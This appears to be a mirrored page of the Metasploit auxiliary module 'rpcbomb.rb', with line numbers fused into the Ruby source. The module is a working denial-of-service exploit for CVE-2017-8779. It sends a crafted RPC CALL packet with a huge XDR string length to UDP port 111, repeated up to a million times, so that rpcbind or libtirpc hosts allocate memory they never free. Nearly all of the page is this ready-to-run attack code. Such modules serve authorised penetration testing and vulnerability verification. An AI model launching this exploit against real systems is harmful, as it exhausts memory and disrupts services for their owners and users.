Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/rpc/rpcbomb.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Dos7include Msf::Auxiliary::Report8include Msf::Auxiliary::UDPScanner910def initialize(info={})11super(update_info(info,12'Name' => 'RPC DoS targeting *nix rpcbind/libtirpc',13'Description' => %q{14This module exploits a vulnerability in certain versions of15rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger16large (and never freed) memory allocations for XDR strings on17the target.18},19'Author' =>20[21'guidovranken', # original code22'Pearce Barry <pearce_barry[at]rapid7.com>' # Metasploit module23],24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2017-8779' ],27[ 'BID', '98325' ],28[ 'URL', 'http://openwall.com/lists/oss-security/2017/05/03/12' ]29],30'Disclosure Date' => 'May 03 2017'))3132register_options([33Opt::RPORT(111),34OptInt.new('ALLOCSIZE', [true, 'Number of bytes to allocate', 1000000]),35OptInt.new('COUNT', [false, "Number of intervals to loop", 1000000])36])37end3839def scan_host(ip)40pkt = [410, # xid420, # message type CALL432, # RPC version 244100000, # Program454, # Program version469, # Procedure470, # Credentials AUTH_NULL480, # Credentials length 0490, # Credentials AUTH_NULL500, # Credentials length 0510, # Program: 0520, # Ver534, # Proc544, # Argument length55datastore['ALLOCSIZE'] # Payload56].pack('N*')5758s = udp_socket(ip, datastore['RPORT'])59count = 060while count < datastore['COUNT'] do61begin62s.send(pkt, 0)63rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED64vprint_error("Host #{ip} unreachable")65break66end67count += 168end6970vprint_good("Completed #{count} loop(s) of allocating #{datastore['ALLOCSIZE']} bytes on host #{ip}:#{datastore['RPORT']}")71end72end737475